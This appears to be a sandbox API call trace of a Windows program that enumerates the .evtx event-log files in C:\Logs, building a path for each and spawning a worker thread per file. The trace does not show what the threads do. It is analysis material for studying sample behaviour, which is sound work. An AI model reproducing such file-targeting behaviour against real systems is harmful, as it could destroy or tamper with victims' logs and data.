	[0074.987] wcscmp (_String1="Microsoft-Windows-ReadyBoost%4Operational.evtx", _String2=".") returned 1
	[0074.987] wcscmp (_String1="Microsoft-Windows-ReadyBoost%4Operational.evtx", _String2="..") returned 1
	[0074.987] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x4732e48
	[0074.987] wcscpy (in: _Dest=0x4732e48, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.987] wcscat (in: _Dest=0x4732e48, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.987] wcscat (in: _Dest=0x4732e48, _Source="Microsoft-Windows-ReadyBoost%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx"
	[0074.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4732e48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e0
	[0074.988] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cAlternateFileName="MI7A67~1.EVT")) returned 1
	[0074.988] wcscmp (_String1="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", _String2=".") returned 1
	[0074.988] wcscmp (_String1="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", _String2="..") returned 1
	[0074.988] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x2d5c998
	[0074.988] wcscpy (in: _Dest=0x2d5c998, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.988] wcscat (in: _Dest=0x2d5c998, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.988] wcscat (in: _Dest=0x2d5c998, _Source="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx"
	[0074.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5c998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4
	[0074.988] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx", cAlternateFileName="MI3773~1.EVT")) returned 1
	[0074.988] wcscmp (_String1="Microsoft-Windows-SettingSync%4Debug.evtx", _String2=".") returned 1
	[0074.988] wcscmp (_String1="Microsoft-Windows-SettingSync%4Debug.evtx", _String2="..") returned 1
	[0074.988] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x2d86dc8
	[0074.989] wcscpy (in: _Dest=0x2d86dc8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.989] wcscat (in: _Dest=0x2d86dc8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.989] wcscat (in: _Dest=0x2d86dc8, _Source="Microsoft-Windows-SettingSync%4Debug.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx"
	[0074.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d86dc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8
	[0074.989] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx", cAlternateFileName="MI36AA~1.EVT")) returned 1
	[0074.989] wcscmp (_String1="Microsoft-Windows-SettingSync%4Operational.evtx", _String2=".") returned 1
	[0074.989] wcscmp (_String1="Microsoft-Windows-SettingSync%4Operational.evtx", _String2="..") returned 1
	[0074.989] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47330a0
	[0074.989] wcscpy (in: _Dest=0x47330a0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.989] wcscat (in: _Dest=0x47330a0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.989] wcscat (in: _Dest=0x47330a0, _Source="Microsoft-Windows-SettingSync%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx"
	[0074.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47330a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec
	[0074.990] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cAlternateFileName="MI2E2E~1.EVT")) returned 1
	[0074.990] wcscmp (_String1="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", _String2=".") returned 1
	[0074.990] wcscmp (_String1="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", _String2="..") returned 1
	[0074.990] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4733118
	[0074.990] wcscpy (in: _Dest=0x4733118, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.990] wcscat (in: _Dest=0x4733118, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.990] wcscat (in: _Dest=0x4733118, _Source="Microsoft-Windows-Shell-Core%4ActionCenter.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx"
	[0074.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4733118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f0
	[0074.991] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx", cAlternateFileName="MI1C6C~1.EVT")) returned 1
	[0074.991] wcscmp (_String1="Microsoft-Windows-Shell-Core%4Operational.evtx", _String2=".") returned 1
	[0074.991] wcscmp (_String1="Microsoft-Windows-Shell-Core%4Operational.evtx", _String2="..") returned 1
	[0074.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x2e04db0
	[0074.991] wcscpy (in: _Dest=0x2e04db0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.991] wcscat (in: _Dest=0x2e04db0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.991] wcscat (in: _Dest=0x2e04db0, _Source="Microsoft-Windows-Shell-Core%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx"
	[0074.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e04db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f4
	[0074.991] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx", cAlternateFileName="MI00FB~1.EVT")) returned 1
	[0074.991] wcscmp (_String1="Microsoft-Windows-SmbClient%4Connectivity.evtx", _String2=".") returned 1
	[0074.991] wcscmp (_String1="Microsoft-Windows-SmbClient%4Connectivity.evtx", _String2="..") returned 1
	[0074.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x2e04b58
	[0074.991] wcscpy (in: _Dest=0x2e04b58, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.992] wcscat (in: _Dest=0x2e04b58, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.992] wcscat (in: _Dest=0x2e04b58, _Source="Microsoft-Windows-SmbClient%4Connectivity.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx"
	[0074.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e04b58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8
	[0074.992] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1
	[0074.992] wcscmp (_String1="Microsoft-Windows-SMBClient%4Operational.evtx", _String2=".") returned 1
	[0074.992] wcscmp (_String1="Microsoft-Windows-SMBClient%4Operational.evtx", _String2="..") returned 1
	[0074.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2e04270
	[0074.992] wcscpy (in: _Dest=0x2e04270, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.992] wcscat (in: _Dest=0x2e04270, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.992] wcscat (in: _Dest=0x2e04270, _Source="Microsoft-Windows-SMBClient%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx"
	[0074.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e04270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8fc
	[0074.993] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Security.evtx", cAlternateFileName="MI8CEE~1.EVT")) returned 1
	[0074.993] wcscmp (_String1="Microsoft-Windows-SmbClient%4Security.evtx", _String2=".") returned 1
	[0074.993] wcscmp (_String1="Microsoft-Windows-SmbClient%4Security.evtx", _String2="..") returned 1
	[0074.993] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2d869d8
	[0074.993] wcscpy (in: _Dest=0x2d869d8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.993] wcscat (in: _Dest=0x2d869d8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.993] wcscat (in: _Dest=0x2d869d8, _Source="Microsoft-Windows-SmbClient%4Security.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx"
	[0074.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d869d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x900
	[0074.994] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx", cAlternateFileName="MIE3AD~1.EVT")) returned 1
	[0074.994] wcscmp (_String1="Microsoft-Windows-SMBServer%4Audit.evtx", _String2=".") returned 1
	[0074.994] wcscmp (_String1="Microsoft-Windows-SMBServer%4Audit.evtx", _String2="..") returned 1
	[0074.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733458
	[0074.994] wcscpy (in: _Dest=0x4733458, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.994] wcscat (in: _Dest=0x4733458, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.994] wcscat (in: _Dest=0x4733458, _Source="Microsoft-Windows-SMBServer%4Audit.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx"
	[0074.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4733458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904
	[0074.995] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx", cAlternateFileName="MI8248~1.EVT")) returned 1
	[0074.995] wcscmp (_String1="Microsoft-Windows-SMBServer%4Connectivity.evtx", _String2=".") returned 1
	[0074.995] wcscmp (_String1="Microsoft-Windows-SMBServer%4Connectivity.evtx", _String2="..") returned 1
	[0074.995] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x2e04a68
	[0074.995] wcscpy (in: _Dest=0x2e04a68, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.995] wcscat (in: _Dest=0x2e04a68, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.995] wcscat (in: _Dest=0x2e04a68, _Source="Microsoft-Windows-SMBServer%4Connectivity.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx"
	[0074.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e04a68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908
	[0074.996] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx", cAlternateFileName="MI4B6B~1.EVT")) returned 1
	[0074.996] wcscmp (_String1="Microsoft-Windows-SMBServer%4Operational.evtx", _String2=".") returned 1
	[0074.996] wcscmp (_String1="Microsoft-Windows-SMBServer%4Operational.evtx", _String2="..") returned 1
	[0074.996] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2e04810
	[0074.996] wcscpy (in: _Dest=0x2e04810, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.996] wcscat (in: _Dest=0x2e04810, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.996] wcscat (in: _Dest=0x2e04810, _Source="Microsoft-Windows-SMBServer%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx"
	[0074.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e04810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c
	[0074.997] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Security.evtx", cAlternateFileName="MI7709~1.EVT")) returned 1
	[0074.997] wcscmp (_String1="Microsoft-Windows-SMBServer%4Security.evtx", _String2=".") returned 1
	[0074.997] wcscmp (_String1="Microsoft-Windows-SMBServer%4Security.evtx", _String2="..") returned 1
	[0074.997] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2d86e38
	[0074.997] wcscpy (in: _Dest=0x2d86e38, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.997] wcscat (in: _Dest=0x2d86e38, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.997] wcscat (in: _Dest=0x2d86e38, _Source="Microsoft-Windows-SMBServer%4Security.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx"
	[0074.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d86e38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910
	[0074.998] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Store%4Operational.evtx", cAlternateFileName="MICEDD~1.EVT")) returned 1
	[0074.998] wcscmp (_String1="Microsoft-Windows-Store%4Operational.evtx", _String2=".") returned 1
	[0074.998] wcscmp (_String1="Microsoft-Windows-Store%4Operational.evtx", _String2="..") returned 1
	[0074.998] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x2d86968
	[0074.998] wcscpy (in: _Dest=0x2d86968, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.998] wcscat (in: _Dest=0x2d86968, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.998] wcscat (in: _Dest=0x2d86968, _Source="Microsoft-Windows-Store%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx"
	[0074.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d86968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x914
	[0074.999] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cAlternateFileName="MIE2F0~1.EVT")) returned 1
	[0074.999] wcscmp (_String1="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", _String2=".") returned 1
	[0074.999] wcscmp (_String1="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", _String2="..") returned 1
	[0074.999] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x2d5fbc8
	[0074.999] wcscpy (in: _Dest=0x2d5fbc8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0074.999] wcscat (in: _Dest=0x2d5fbc8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.999] wcscat (in: _Dest=0x2d5fbc8, _Source="Microsoft-Windows-TaskScheduler%4Maintenance.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx"
	[0074.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5fbc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x918
	[0075.000] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cAlternateFileName="MIAB1D~1.EVT")) returned 1
	[0075.000] wcscmp (_String1="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", _String2=".") returned 1
	[0075.000] wcscmp (_String1="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", _String2="..") returned 1
	[0075.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x2d7c898
	[0075.000] wcscpy (in: _Dest=0x2d7c898, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.000] wcscat (in: _Dest=0x2d7c898, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.000] wcscat (in: _Dest=0x2d7c898, _Source="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx"
	[0075.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7c898, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x91c
	[0075.001] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cAlternateFileName="MI62D3~1.EVT")) returned 1
	[0075.001] wcscmp (_String1="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", _String2=".") returned 1
	[0075.001] wcscmp (_String1="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", _String2="..") returned 1
	[0075.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d62340
	[0075.001] wcscpy (in: _Dest=0x2d62340, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.001] wcscat (in: _Dest=0x2d62340, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.001] wcscat (in: _Dest=0x2d62340, _Source="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx"
